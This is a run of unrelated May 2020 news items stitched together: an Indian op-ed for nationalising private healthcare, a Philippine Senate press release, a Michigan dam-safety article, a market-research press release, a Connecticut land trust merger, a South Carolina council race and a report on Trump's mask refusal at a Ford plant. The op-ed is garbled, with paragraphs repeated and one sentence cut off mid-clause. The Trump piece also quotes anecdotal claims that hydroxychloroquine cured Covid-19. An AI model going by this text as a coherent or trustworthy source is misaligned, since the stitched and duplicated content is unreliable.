According to a news The Epidemics Act , 1897 gives the central and state governments authority to impose any regulations which may be necessary to contain the outbreak of a disease. Some state governments such as Madhya Pradesh, Rajasthan and Chhatisgarh have already used this power to bring private healthcare facilities in their state under government control. Now that the national lockdown has been eased to a large extent, Covid-19 cases are predicted to increase rapidly in the coming days. Our government needs to do everything in its power to prepare hospitals, medical equipment and healthcare workers, as well as to scale up testing, tracing and isolation measures, to face this imminent deluge. At such a time, the nationalisation of the private healthcare sector in India is a possibility that must be seriously considered.At the global level, this would hardly be an unprecedented move. We already have examples of countries like Spain and Ireland , which have taken over private healthcare facilities to strengthen their Covid-19 response.Demands for more such measures are gaining strength around the world. Healthcare workers, who are at the frontlines of this crisis, have called for an end to profiteering in healthcare. For example, recently on International Nurses Day, the Public Services International, which is a global union federation of workers in public services, called on governments to work with nurses and their unions to develop public health reconstruction plans which put an end to the perverse practice of extracting profits from ill-health.According to a news report , private hospitals employ four out of every five doctors, have two-thirds of the hospital beds and almost 80% of the ventilators available in India, but, at the time of the report, they were handling less than 10% of Covid-19 cases.

While Covid-19 testing and all medical care remain free of cost in the public healthcare sector, in the private sector there is a maximum cap of Rs 4,500 on the cost for a test, and it has been reported that the cost of medical and intensive care for Covid-19 could go up to several lakh rupees for 15 days of hospitalization.



Virus strain was isolated by government-run institute, but ICMR brought in private sector entity, Bharat Biotech, to take research forward What could be a better way to scale up testing and increase hospitalization capacity and access in the country than to nationalise the private health sector? This would be far more effective than trying to negotiate pricing caps with the profit-seeking lobby of private healthcare.



Further, this would make it be easier to ensure the rights and safety of patients and healthcare workers through the effective implementation of common standards of care, working conditions, payments and safety procedures across all healthcare facilities.

Medical research in India could also benefit from the nationalisation of private research facilities. It was recently reported that in an effort to develop a vaccine for Covid-19, the virus strain was isolated by the government-run National Institute of Virology, but the Indian Council of Medical Research (ICMR) If such a step is taken, the government will be able to leverage the facilities and resources gained to strengthen its Covid-19 response in a range of areas, such as in the efficient procurement and manufacture of Reverse Transcriptase Polymerase Chain Reaction (RT-PCR) and Rapid Antibody Tests, the conduct of these tests on a large scale in fully equipped laboratories, and the preparation of adequate hospital beds, medical equipment and healthcare staff.Further, this would make it be easier to ensure the rights and safety of patients and healthcare workers through the effective implementation of common standards of care, working conditions, payments and safety procedures across all healthcare facilities.Medical research in India could also benefit from the nationalisation of private research facilities. It was recently reported that in an effort to develop a vaccine for Covid-19, the virus strain was isolated by the government-run National Institute of Virology, but the Indian Council of Medical Research (ICMR) brought in a private sector entity, Bharat Biotech, to take the research forward.

Why not nationalize all medical research infrastructure so that it can be put to optimal use by Indias scientists in the fight against Covid-19? Further, as proposed by the government of Costa Rica, this could support the development of a global Covid-19 commons for all research, data, technology, treatments and vaccines relating to Covid-19 as a non-proprietary shared global resource.



Decades of Politics is the ultimate determinant of the health outcomes of a society. This crisis must be met with a strong political will to bring quality healthcare services to all those affected, irrespective of their social and economic location. The profit-motive has no role to play in the achievement of this objective.Decades of caste-discrimination and lack of public civility that have characterised the development of Indias healthcare sector cannot be undone overnight, but the nationalisation of private healthcare facilities and resources and their deployment for the benefit of all Indians is the best way forward at this critical time.

It could also be the beginning of a decisive reversal of the wrongs of the past.

---

*Asmita Verma is 5th year LLB student at National Law University, Delhi; Surabhi Agarwal and Bobby Ramakant are spokespersons of Socialist Party (India)
Press Release

May 22, 2020 Bong Go calls on TESDA to provide tech-voc education opportunities amid COVID-19 crisis, especially for displaced workers; asks DTI to continue supporting MSMEs While many Filipinos are unable to go back to work or resume their business operations because of the coronavirus disease (COVID-19) pandemic, Senator Christopher Lawrence "Bong" Go called on the government, particularly the Technical Education and Skills Development Authority, to provide more technical and vocational training and skills enhancement opportunities to Filipinos, especially displaced workers, to help them find other livelihood opportunities. In a hearing of the Senate acting as the Committee of the Whole on Thursday, May 21, Senator Go brought up the issue to TESDA Director-General Isidro Lapena, saying that many affected individuals need alternative livelihood opportunities given the adverse impact of the pandemic to the economy. "Madami sa mga tao ang nahihirapan dahil sa kawalan ng stable na trabaho. Madami dito ang hindi tapos sa pag-aaral. Meron po ba tayong mga programa para sa training na libre para sa mga taong ito?" Go asked, adding that this issue is not just for those in Metro Manila, but for those who would be returning to their home provinces. Last May 20, Go, together with other officials, sent off from Quezon City the first batch of Balik Probinsya, Bagong Pag-asa Program beneficiaries bound for Leyte. Director-General Lapena said that the agency will be accommodating these individuals so they can find better employment and livelihood opportunities in the wake of the crisis. "Yes, your honor. We will be accommodating them so that they can land a job or livelihood after," Lapena said. Earlier, Senator Go has urged TESDA to conduct technical and vocational education and training (TVET) programs that will be responsive to the needs of the local economy. Go said that these TVET programs are important in offering employment opportunities for Filipinos and, in turn, help them recover from economic losses after the pandemic. The Senator has also earlier urged TESDA to coordinate with other government agencies, such as the Department of Trade and Industry and the National Economic and Development Authority as well as the local government units, to ensure that people will be properly matched with jobs according to their acquired skills. Meanwhile, in the same hearing, Go also asked DTI Secretary Ramon Lopez on the total number of applicants who will be given assistance through the different programs offered by the department to support micro and small enterprises affected by the COVID-19 situation. "DTI, you started accepting applicants para sa CARES program nyo, barangay program, for (micro, small and) medium enterprises, possible stimulus fund through SB Corporation... do you have total number of applicants that we aim to help?" Go asked. The Senator is pertaining to the P1-billion COVID-19 Assistance to Restart Enterprises (CARES) program provided by the DTI's financial conduit, the Small Business Corporation, to help cushion the negative economic impact brought by the current health crisis. Go further asked, "Paano natin masisigurado na ang loans na ito ay gagamitin ng aplikante upang makapag-umpisa or ma-rehabilitate ang kanilang SMEs at di magamit sa iba? Meron ba tayong conditions imposed on applicants that will ensure the proper utilization of your support programs?" Lopez explained that there is a network of credit partners involved in monitoring MSMEs and determine who will benefit from the program. "Yes, your honor. Ang atin pong sistema ay katulong po natin, may network po tayo ng credit partners. Ito po yung mga micro finance institutions, rural banks, coop, na nakakalat nationwide. Sila po ang ating eyes and ears, at sila po ang nagde-determine kung sino po ang kailangang tulungan, nakatutok. At usually, ang nanghihiram ay usually part po ng association, market vendor association and all that," Lopez said. "Nagawa na natin kasi sa Pondo sa Pagbabago at Pag-asenso, so this is an extension... we are giving back to some of them who are affected by COVID-19 pandemic. At ang repayment rate natin dito sa existing program ay 90%," he added. "Ang borrowers po natin 115,000 na po and dito po sa programa ng COVID-19, given the limited fund na P1 billion, baka ang maabot lang ay 50,000 (enterprises), so kaya po natin i-cover ito. In fact, kulang pa nga," Lopez explained adding that with this limit, they can narrow down the list of applicant enterprises to those who have good business standing. "(With limited budget), masisigurado natin na makakarating ito sa gagamit talaga at ang pahihiramin po 'yung may track record, more than 1 year track record at sigurado pong mamo-monitor," he added. According to DTI's 2018 report, 99.5% of the total number of business enterprises operating in the country are MSMEs. Due to the COVID-19 health crisis, over half of the MSMEs today have stopped. Earlier, Go has appealed to the government to also provide COVID-19 emergency financial assistance to workers of MSMEs. Presently, the government, through the Social Security System, is providing cash aid to the employees of these small businesses through the Small Business Wage Subsidy program.
When dams fail, it usually happens without warning.

However, we do have some understanding of the risk that dams such as the one that failed and flooded Midland this week pose to people who live downstream.

Michigan dams are regulated by both state and federal governments, which keep records of their conditions and rate their potential to harm the public should they fail.

The Federal Energy Regulatory Commission (FERC) has authority over about 100 hydroelectric power dams in the state. Many more are regulated by the Michigan Department of Environment, Great Lakes and Energy (EGLE), which has oversight of 1,048 dams under various sections of the states Natural Resources and Environmental Protection Act.

The rest of Michigans estimated 2,500 dams are unregulated, which means the structures are not considered significant enough to warrant oversight and inspection.

Michigans aging stock of dams includes many that are rated as having a high hazard potential, which indicates a failure would be life-threatening for people living downstream.

There are at least 150 dams in Michigan with that rating and another 148 with a significant hazard rating, according to data from a nationwide Associated Press investigation last fall. The last of the three ratings is one reflecting dams with a low hazard, of which there are about 686 in Michigan.

The grades are given by the U.S. Army Corps of Engineers, which maintains an inventory of more than 91,000 dams nationwide.

The data from the AP investigation is shown on the map below. Some dam locations are approximate. Scroll to the bottom for a searchable database by county, dam, hazard and owner type.

Dam locations are approximate. Click Legends tab to add dams with "significant' hazard ratings.

The Edenville Dam, which failed Tuesday, May 19 and sent floodwaters rushing down the Tittabawassee River into Midland and beyond, was rated a high hazard dam.

Like many, it was built nearly a century ago in the heyday of hydroelectric power construction. Thousands of dams were built in Michigan between the late 1800s and the 1940s, when Michigans rivers were an importance source of hydroelectric power.

Michigans aging dams are generally considered to be an expensive headache, although some do generate renewable energy that is sold to utilities. Impoundment reservoirs can also be an important asset, serving as municipal and industrial water supplies and, in many cases, offering recreation benefits.

However, the cost to maintain hydropower dams often outweighs their benefits. Their negative impact on fisheries has been a key driver in a push to remove dams and restore rivers to a natural state. Such projects have not been without consequences of their own, such as when the Brown Bridge Dam near Traverse City failed during removal in 2012.

Its hard to paint dams in Michigan with a broad brush, said Joe Nohner, who manages the Michigan Department of Natural Resources dam management grant program.

Communities often greatly value dams, Nohner said. They can be contentious issues. Theres often a reticence by some in the community to remove a dam because of its historic nature or its uses. If you grew up fishing on a reservoir, maybe you want to take your kids fishing there. Its hard to let go of that.

Our preference is to remove them so we can restore the ecological function of the steam and address any safety hazards that exist."

Related: Small town, big change: Hubbardston prepares to lose its landmark dam

The DNR manages but does not regulate dams in Michigan. Its grant program combines money from fishing licenses, the states general fund, legislative appropriations and a litigation settlement with Consumers Energy. Since 2010, the DNR has provided about $13 million for dam removal and repair.

The DNR program is generally combined with other funding sources due to the huge expense of actual dam work. Specialized construction and engineering costs stack up fast. Removal of decades worth of accumulated sediment that may contain toxic contaminants can pose major challenges. Large projects can range up to $50 million, Nohner said.

The DNR gets about 10-15 grant applications per year, and funds a handful of those.

The demand outstrips our ability to pay for the projects were receiving requests for, Nohner said.

High-hazard dams that are in poor condition are priorities for removal, he said. Unfortunately, dam owners often dont make enough money to fund necessary repairs  a situation that appears to have been at play in this weeks dam failure.

You have a situation where nobody has all the funds to do the work, Nohner said. Thats the challenge we face for thousands of dams across the state.

Nohner said that challenge is only expected to grow as aging dams grow older and flow variability  meaning the increasing frequency of heavy rainfall events  rises over time.

The Edenville Dams failure is being seen as emblematic of the threat posed by old dams, and the need to update and adapt infrastructure to withstand wetter conditions linked to a changing climate.

This is something were going to continue to wrestle with, Nohner said.

Read more: Follow MLive coverage of Michigan flooding

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Related stories:

Feds warned years ago Edenville Dam couldnt handle a historic flood

Dam owner, state fought about Wixom Lake levels before flood

Michigan flooding: One, two, three punch of rain overwhelms soggy state

Michigan dam break shows need to plan for changing climate
Technavio has been monitoring the automotive level sensor market and it is poised to grow by USD 1497.04 million during 2020-2024, progressing at a CAGR of over 4% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment.

This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200522005310/en/

Technavio has announced its latest market research report titled Global Automotive Level Sensor Market 2020-2024 (Graphic: Business Wire)

Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Free Sample Report on COVID-19 Impact

The market is concentrated, and the degree of concentration will accelerate during the forecast period. Aptiv Plc, Continental AG, DENSO Corp., HELLA GmbH Co. KGaA, Infineon Technologies AG, Robert Bosch GmbH, TE Connectivity Ltd., Technoton, Veoneer Inc., and ZF Friedrichshafen AG are some of the major market participants. The increasing sales of passenger and commercial vehicles will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments.

Increasing sales of passenger and commercial vehicles has been instrumental in driving the growth of the market.

Automotive Level Sensor Market 2020-2024: Segmentation

Automotive Level Sensor Market is segmented as below:

Product Fuel Level Sensor Engine Oil Level Sensor Coolant Level Sensor Brake Fluid Level Sensor Power Steering Fluid Level Sensor

Geography APAC North America Europe South America MEA



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Automotive Level Sensor Market 2020-2024: Scope

Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our automotive level sensor market report covers the following areas:

Automotive Level Sensor Market Size

Automotive Level Sensor Market Trends

Automotive Level Sensor Market Industry Analysis

This study identifies the growing popularity of NEMS and MEMS technologies as one of the prime reasons driving the automotive level sensor market growth during the next few years.

Automotive Level Sensor Market 2020-2024: Vendor Analysis

We provide a detailed analysis of vendors operating in the automotive level sensor market, including some of the vendors such as Aptiv Plc, Continental AG, DENSO Corp., HELLA GmbH Co. KGaA, Infineon Technologies AG, Robert Bosch GmbH, TE Connectivity Ltd., Technoton, Veoneer Inc., and ZF Friedrichshafen AG. Backed with competitive intelligence and benchmarking, our research reports on the automotive level sensor market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support.

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Automotive Level Sensor Market 2020-2024: Key Highlights

CAGR of the market during the forecast period 2020-2024

Detailed information on factors that will assist automotive level sensor market growth during the next five years

Estimation of the automotive level sensor market size and its contribution to the parent market

Predictions on upcoming trends and changes in consumer behavior

The growth of the automotive level sensor market

Analysis of the market's competitive landscape and detailed information on vendors

Comprehensive details of factors that will challenge the growth of automotive level sensor market vendors

Table Of Contents:

Executive Summary

Market Landscape

Market ecosystem

Value chain analysis

Market Sizing

Market definition

Market segment analysis

Market size 2019

Market outlook: Forecast for 2019 2024

Five Forces Analysis

Five Forces Summary

Bargaining power of buyers

Bargaining power of suppliers

Threat of new entrants

Threat of substitutes

Threat of rivalry

Market condition

Market Segmentation by Product

Market segments

Comparison by Product

Fuel level sensor Market size and forecast 2019-2024

Engine oil level sensor Market size and forecast 2019-2024

Coolant level sensor Market size and forecast 2019-2024

Brake fluid level sensor Market size and forecast 2019-2024

Power steering fluid level sensor Market size and forecast 2019-2024

Market opportunity by Product

Customer Landscape

Geographic Landscape

Geographic segmentation

Geographic comparison

APAC Market size and forecast 2019-2024

North America Market size and forecast 2019-2024

Europe Market size and forecast 2019-2024

South America Market size and forecast 2019-2024

MEA Market size and forecast 2019-2024

Key leading countries

Market opportunity by geography

Market Drivers

Market Challenges

Market Trends

Vendor Landscape

Landscape disruption

Vendor Analysis

Vendors covered

Market positioning of vendors

Aptiv Plc

Continental AG

DENSO Corp.

HELLA GmbH Co. KGaA

Infineon Technologies AG

Robert Bosch GmbH

TE Connectivity Ltd.

Technoton

Veoneer Inc.

ZF Friedrichshafen AG

Appendix

Scope of the report

Currency conversion rates for US$

Research methodology

List of abbreviations

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NEW MILFORD  Naromi Land Trust and Weantinoge Heritage Land Trust are planning to merge on June 30. Weantinoge, the surviving entity of the merger, will change its name to Northwest Connecticut Land Conservancy.

Founded in 1965, Weantinoge is Northwest Connecticuts regional land trust and the largest land trust in the state. As a guardian of natural and working lands, public recreation areas, and drinking water resources, Weantinoge permanently protects 10,500 acres in seventeen communities, including 12 public hiking preserves, 29 working farms, and 42 miles of rivers and streams. Naromi was founded in 1968 to benefit the general public and lands of Sherman, and permanently protects 1,500 acres, including 11 public hiking preserves.

This is a momentous time for our organization and an exciting one. The new name, Northwest Connecticut Land Conservancy, better reflects the work that we do. But, our mission to safeguard the natural lands and waters our communities depend on is not changing, said Weantinoges Executive Director, Catherine Rawson, in a statement.

Naromi and Weantinoge have worked in close partnership for several years on projects including volunteer trainings and education and, most recently, to protect 20 acres of critical agricultural land in Sherman. Both organizations are accredited by the Land Trust Accreditation Commission and are in a strong financial and governance position.

Combining the efforts of our two organizations enables us to more efficiently provide the services and benefits our members care most about. It has never been more important to focus on strengthening our ability to serve the Town of Sherman forever, said Naromis Executive Director, Amanda Branson, who will remain with the merged organization, in a statement.

I am delighted to share this great news with the Naromi community, said Naromi Board President, Chris Jellen. The Board of Directors of Naromi join me in our resolve to ensure the forever protection of the lands in our care and deliver the most benefits of conservation to our community. Joining Weantinoge in their next chapter as the Northwest Connecticut Land Conservancy is the best way to do that.

After the merger, Northwest Connecticut Land Conservancy will protect over 12,000 acres including 23 public preserves with hiking trails and more than 30 working farms. For 55 years, Weantinoge has led the state in the conservation of natural lands and waters, said Hiram Williams, Board President of Weantinoge. We look forward to working in partnership the Sherman community to safeguard the natural lands they value and depend on most, forever. And, we are thrilled to continue our legacy of environmental conservation as Northwest Connecticut Land Conservancy.

Members of Naromi will be asked to approve the merger at a special meeting on June 13, 2020. The meeting will be held via video conference.

More information about how to participate in the special meeting, who can vote, and other details is available at naromi.org/merger, or contact Amanda Branson, Executive Director of Naromi at amanda@naromi.org or call 860-354-0260.
Orangeburg County Councilman Heyward Livingston is being challenged in the upcoming Democratic primary by former Consolidated School District 3 school board member Joseph Garvin.

Both candidates have filed for the Orangeburg County Council District 4 seat.

The states party primaries will be held June 9.

Joseph Garvin

Garvin is retired and the owner of Garvins Community Store in Springfield.

Im seeking the seat because I want to have the opportunity to give back to my community, and I know that I have the capability of giving my constituents 100%, unbiased representation as the councilman of District 4, Garvin said.

I would like to see quality growth in the west end of the county, which has been long overdue. And I will be able to work professionally. I will work in a professional way in order to make decisions based on the need of the community, Garvin said.

I do have the ability to represent those in my district in a fair and ethical manner, Garvin stated.

He said, I feel like Im the best candidate because I have new ideas, and I want to see quality growth in the western end. We have an industrial park that we have in Neeses that has been there for about 15 years, and theres nothing out there. I havent talked to our councilman about it, but I think that it was not planned properly to make sure that the community money was spent in a manner that it should have been spent, Garvin said.

If you dont have the infrastructure, or you dont have the water, or you dont have the backing to do something, you cant do it, he said.

He detailed the goals he would like to accomplish if elected.

My first goal would be to make sure I have a quarterly meeting with the Norway mayor, Springfield mayor, Neeses mayor, North mayor and Woodford mayor, and the representatives in the Great Branch area. All the people thats in the community, I would meet with them to find out what their priorities are in their community. And then, when I find out what their priorities are, I would take those priorities and would work through them. Well work through all of them to make sure that we dont forget about anybody in the community, Garvin said.

He said, I would be more vocal and more visible in the community. I would also make sure that all of the mayors in each town that I would be representing in District 4, make sure they have a fair shot at everything.

Garvin assessed the work of the current council.

I can only speak for District 4. I think that the county councilman, he has not been vocal enough, hes not worked hard enough to make things come to our area. All of the little small towns like North, Norway, Springfield, Neeses, theyre dying out, and our children who are graduating from all the schools in this area in District 4, they dont have any jobs. And it seems like to me that everything is way on the other side of Orangeburg, Garvin said.

He noted that he served as a board member on the Orangeburg Consolidated School District 3 school board for over 20 years and as a member of the School Development Committee for the county.

Heyward Livingston

Livingston is retired.

Livingston stated that he seeking re-election to complete unfinished tasks.

Ive got some projects that I didnt get through with on this last term. In fact, were working on one in Springfield now, the senior citizen center. Were remodeling that building and weve got the roof on, but we didnt quite get through with it, so I would like to have one more term to finish it up. Ive got about three projects in Norway that we didnt get started on last year, so I want to get those through, Livingston said.

Ive got more work that needs to be done, he said.

Livingstons been self-employed most of his life.

Ive farmed, for about 20 years I was co-owner of North-South Wood Preservers and just a pretty good business mind. Youve got to know how to handle your own money before you can handle somebody elses money, Livingston stated.

If re-elected, Livingston said I would like to finish my projects up.

Its a lot of work to be done in Orangeburg County, and I would like an opportunity to finish it up and get through all of the loose ends, he said.

Livingston believes he is the best candidate.

Ive got good business experience, and good common sense, Livingston said.

He is particularly proud of one accomplishment during his tenure.

Probably the best thing not only to me but all seven of us, when we got together and we voted to pass the capital projects sales tax. That was millions and millions of dollars that went into Orangeburg County infrastructure that we wouldnt have had if it werent for that 1 percent capital sales tax, he said

Every town, every community got something out of it, Livingston said.

Livingston noted that he is involved in the community groups of the towns in District 4.

Contact the writer: bharris@timesanddemocrat.com or 803-596-6530

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Donald Trump laced into Michigan's attorney general late Thursday, slamming her as 'wacky' after she called him a 'petulant child' for refusing to wear a mask in public as he toured a Ford plant near Detroit - but did wear it behind the scenes.

Dana Nessel warned she could charge Ford over a breach of mask laws and said the president was risking shutting down the plant by infecting workers when he toured it and spoke without a mask.

She told CNN: 'He is a petulant child who refuses to follow the rules. This is not a joke.'

That prompted two angry tweeted retorts from the president, who said he would not be photographed in one because 'I didn't want to give the press the pleasure of seeing it.' The pictures of him wearing one appeared to have been leaked by workers at the plant.

'The Wacky Do Nothing Attorney General of Michigan, Dana Nessel, is viciously threatening Ford Motor Company for the fact that I inspected a Ventilator plant without a mask,' he tweeted.

What took so long? Donald Trump was finally photographed in a mask during the private portion of his tour of the Ford plant - but he took it off before it could be seen in public

Request: Trump toured the plant with Bill Ford, the company's executive chairman, who asked him directly to wear a mask throughout his time there. The president refused to wear it in public

'Not their fault, & I did put on a mask. No wonder many auto companies left Michigan, until I came along!'

Shortly afterwards he tweeted again: 'Do nothing A.G. of the Great State of Michigan, Dana Nessel, should not be taking her anger and stupidity out on Ford Motor - they might get upset with you and leave the state, like so many other companies have - until I came along and brought business back to Michigan. JOBS!'

The row - and the leaked picture of Trump in a mask - overshadowed what was supposed to be a celebration of the Ford plant producing ventilators.

Instead Trump spent the entire public part of the tour defying its boss Bill Ford's request to cover up, then was photographed behind the scenes .

In public, Trump held the navy blue face covering with the seal of the president on it, but added he didn't want to give the media the 'pleasure' of seeing him wear one.

'I wore one in this back area. I didnt want to give the press the pleasure of seeing it,' he said during his tour of the Rawsonville Components Plant. 'I had the goggles and the mask.'

Trump is reported to believe that wearing a mask sends the wrong message as he pushes to get the country focused on reopening from the coronavirus pandemic, which has infected more than 1.58 million Americans and killed almost 100,000.

He was finally photographed wearing a face covering backstage as Ford, the executive chairman of the firm founded by his great-grandfather Henry Ford, showed him three Ford GTs during a private tour.

But when he was in public, he brandished the mask with the presidential seal without putting it on, and posed with a face visor which he did not wear either. Also not wearing a mask was his press secretary Kayleigh McEnany and chief of staff Mark Meadows.

After the tour, Ford Motor Company put out a statement from its executive chairman, saying the president was asked to wear a mask. The state attorney general also has threatened legal action against Ford if Trump did not wear a face covering during his tour.

'Bill Ford encouraged President Trump to wear a mask when he arrived. He wore a mask during a private viewing of three Ford GTs from over the years. The president later removed the mask for the remainder of the visit,' the company said.

President Trump defied Michigan's mandatory face mask policy on Thursday and toured a Ford Motor factory with no covering

The navy blue mask has the seal of the president of the United States on it

President Trump was pictured holding up a plastic face covering

President Trump showed off the mask and said it 'looked very nice' when he had it on backstage

President Trump said it was his choice whether to wear the mask or not

Ford executives giving President Trump the tour wore face masks

President Trump carries a face mask crumbled in his hand during his factory tour

Michigan requires people to wear some type of face covering in public enclosed spaces thanks to an executive order signed by Governor Gretchen Whitmer at the end of April. There are no fines for violating the order but stores can refuse to serve those without the coverings.

'Honestly, if he fails to wear a mask, he's going to be asked not to return to any enclosed facility inside our state,' Dana Nessel, a Democrat, had told CNN before he went there.

Nessel said she would consider bringing charges against Ford for failing to get him to cover up, although she spoke before the backstage picture leaked out.

'We're going to have to have a very serious conversation with Ford in the event that they let the president in publicly-enclosed spaces defy that order,' she said.

'The last thing we want to see is for this plant to close its doors again because somebody was infected by the president.'

Trump said he didn't have to wear a mask because he's been tested for the coronavirus and was tested again that morning. The mask prevents someone with the illness from transmitting it.

He did say the mask looked good on him when he wore it backstage.

'It was very nice. It looked very nice,' he said of his wearing the mask out of public view.

He said he didn't wear one during the public portion of his factory tour - despite Michigan's requirement - because 'I was given a choice.' The Ford Motor Company executives guiding him through the factory wore masks.

Bill Ford, the Executive Chairman of Ford Motor Company, who accompanied Trump on the tour, told the reporters traveling with Trump that it was the president's 'choice' to wear a mask or not.

Asked if he should be wearing a mask to set an example, Trump said: 'I think it sets an example both ways. As they say, I did have it on.'

During the visit, Trump touted his administration's efforts to fight the coronavirus in the state.

President Trump nor his Chief of Staff Mark Meadows wore a mask but Housing Secretary Ben Carson and White House senior adviser Jared Kushner wore them

President Trump answered questions from the press during the factory tour

Ford Motor Company CEO Jim Hackett (left) speaks with President Donald Trump during the factory tour

President Trump did try on a plastic face shield during the tour, the face shields are made in the plant

The Rawsonville Components plant makes protective gear and ventilators to help battle the coronavirus

In his remarks, Trump told factory workers they were a 'national treasure'

President Trump spoke among automobiles at the Rawsonville Components factory

Workers wear face masks when they listened to the president's remarks

Vital equipment: Donald Trump speaks as he tours Ford's Rawsonville Components Plant that has been converted to making personal protection and medical equipment

'We have done a tremendous job in the state of Michigan, not only in terms of bringing autos back - auto productions - back but also in terms of fighting the virus,' the president said at a roundtable with African American leaders on how the disease has infected disenfranchised communities.

The group was seated five feet apart at a long table in a closed off area of the Rawsonville Components Plant in Ypsilanti, Michigan. The area was closed off by blue drapes. Behind Trump was a backdrop that read 'Transition to Greatness,' the president's new slogan.

'You'll notice at this table we are socially distance,' Housing Secretary Ben Carson, who traveled with Trump to Michigan, pointed out.

Also at the event were Republican Senate candidate John James and State Representative Karen Whitsett. James wore a mask during the roundtable.

Trump touted Whitsett's story after she appeared on Fox News to describe how she took hydroxychloroquine and was cured of COVID-19. She's also met with the president at the White House during an event with people who survived the coronavirus.

Also at the event, Robin Barnes, a real estate agent, said hydroxychloroquine cured her when she had COVID-19.

She told Trump she heard him talking about the anti-malaria drug on television.

'I was able to call my doctor and say listen hey let's try this because, you know, this must be what's going on,' Barnes noted. She said got a prescription for it and the antibiotic azithromycin, also known as z-pack.

'I took it at 9:30 in the morning. By four or five o'clock I was breathing good. So it works,' she said.

'Thank you for that,' Trump told her.

State Representative Karen Whitsett joined President Trump at a roundtable meeting; Trump has touted her story of how taking hydroxychloroquine cured her of the coronavirus

Real estate agent Robin Barnes told President Trump she took hydroxychloroquine after seeing him talk about it on television and it cured her case of COVID-1

Michigan attorney general Dana Nessel, a Democrat, said President Donald Trump will be told not to come back if he refuses to wear a face mask when he tours a Ford Motor plant

Ford Motor Co., line workers put together ventilators that the automaker is assembling at its Rawsonville plant

The president is taking hydroxychloroquine as a preventative measure against exposure to the coronavirus. He said he is finishing up his course of it this week.

During the roundtable, Trump offered his support to the state, which is suffering from heavy flooding in the north.

He did not address his previous threat to with hold federal funding after the Michigan secretary of state sent absentee ballot applications to all registered voters.

'Im not going to discuss that. There are so many forms of funding. What we want is good, straight, honest voting,' he said.

Trump and other Republicans have claimed, without evidence, that mail in voting increases the chances for voter fraud. The president made that argument again on Thursday and explained why he, himself, votes absentee.

'Now, if you're president of the United States and if you vote in Florida, and you can't be there, you should be able to send in a ballot. If you're not well, you're feeling terrible, you're sick, you have a reasonable excuse - just a reasonable excuse - you should be able to vote by mail in,' he said.

Trump has never been photographed wearing a face mask. He was not seen wearing a mask when he visited factories in Arizona and Pennsylvania over the past two weeks but he claimed he donned one for a few minutes backstage while at the Honeywell plant in Phoenix on May 5.

Ford has a policy that all visitors must wear personal protective equipment and originally indicated Trump would wear one. But the company later backed down and said the White House has its own protective procedures and will make its own determinations about whether masks will be worn.

Nessel threatened to take legal action against Ford Motors if the president doesn't wear a face covering.

'I know that Ford has asked him to do the same thing, but if we know that he's coming to our state, and we know he's not going to follow the law, I think we're going to have to take action against any company or any facility that allows him inside those facilities and puts our workers at risk. We simply can't afford it here in our state,' she said.

'We are just asking that President Trump comply with the law in our state, just as we would make the same request of anyone else in those plants,' she added, pointing out that an agreement that allowed auto workers to return to the plant included a provision that everyone will wear a mask and observe social distancing policies.

She implored President Trump to think about the cost and work that would go into disinfecting the Rawsonville Components Plant after his visit.

'We're asking if President Trump doesn't care about his own health, doesn't care about the health and the safety of people who work in those facilities, at least care about the economic situation of, you know, costing these facilities so much money by having to close down and disinfect the plant after he leaves,' she said.

On Tuesday, a spokesperson for Ford said the company shared its safety policy, which includes a requirement to wear masks, with the White House.

But the company backed down from saying Trump would be required to don a facial covering.

'The White House has its own safety and testing policies in place and will make its own determination' about whether Trump and White House officials will wear masks during the visit,' a spokesperson said.

Trump said Tuesday he'd consider wearing a mask if the situation warranted it.

'I don't know, I haven't even thought of it,' Trump said. 'It depends, in certain areas I would, in certain areas I don't, but, I will certainly look at it. It depends on what situation. Am I standing right next to everybody, or am I spread out. Is something a hospital, is it a ward, what is it exactly? I'm going to a plant.'

'So we'll see,' Trump said. 'Where it's appropriate, I would do it, certainly.'

Michigan has had more than 52,000 cases of the coronavirus and more than 5,000 deaths.

Nessel wrote an open letter to Trump on Wednesday, asking him to wear a face mask during his visit, arguing he has a 'social and moral' responsibility to do so.

Michigan Governor Gretchen Whitmer signed an executive order requiring people to wear face masks in public enclosed places

Protestors chant on the steps of the state Capitol in Lansing

Don Richardson assembles a ventilator at the Ford Rawsonville plant that Trump will visit

Whitmer has instigated tough measures to try and combat the pandemic. In addition to the face covering policy, she instituted a stay-at-home requirement that remains in effect. Restrictions will start to ease in parts of the state on Friday.

Protesters, however, swarmed the state Capitol in Lansing to object to the shut down.

President Trump has cheered them on.

On Wednesday, the president argued the stay-at-home order should be lifted so residences can help out with flooding in the northern part of the state that has led to two burst dams and 10,000 people being evacuated.

'We have sent our best Military & @FEMA Teams, already there. Governor must now 'set you free' to help. Will be with you soon!,' he tweeted.

President Trump on Wednesday threatened to with hold unspecified federal funds from Michigan after the secretary of state sent absentee ballot applications to all registered voters.

The state is crucial to the president's re-election effort. He won it by less than one point in the 2016 election.

Trump declined to specify on Wednesday what laws he said Michigan was breaking when Michigan Secretary of State Jocelyn Benson mailed out the applications. Republicans have argued without proof that mail-in ballots increase voter fraud. Democrats claim Republicans are against it because it benefits voting blocs that tend to vote Democratic.

'Mail-in ballots are a very dangerous thing they're they're subject of massive fraud,' Trump said at an event at the White House with the governors of Kansas and Arkansas.

Trump didn't get specific on what kind of federal funds might be with held from the state. 'You'll be finding out that we finding out very soon if it's necessary,' he said. 'I don't think it's going to be necessary.'

Whitmer called the threat 'scary' and 'ridiculous' given the heavy flooding in Midlands county.

'We've got to evacuate tens of thousands of people who are worried and scared. On top of this global pandemic. And to have this kind of distraction is just ridiculous to be honest. It's - threatening to take money away from a state that is hurting as bad as we are right now is just scary. And I think something that is unacceptable,' Whitmer told CBS' 'This Morning' on Thursday ahead of the president's visit.

MAY 5: President Trump did not wear a mask to a Honeywell mask plant, but did wear protective safety goggles

MAY 14: The president also didn't wear a mask nor gloves when he toured a medical supply company in Allentown, Pennsylvania

The p-resident said previously he put on a mask 'backstage' when visiting a Honeywell plant on May 5 in Arizona that was producing N95 masks to help deal with a nationwide PPE shortage due to the coronavirus pandemic.

Trump did not wear a mask when cameras were focused on him.

He did wear safety goggles.

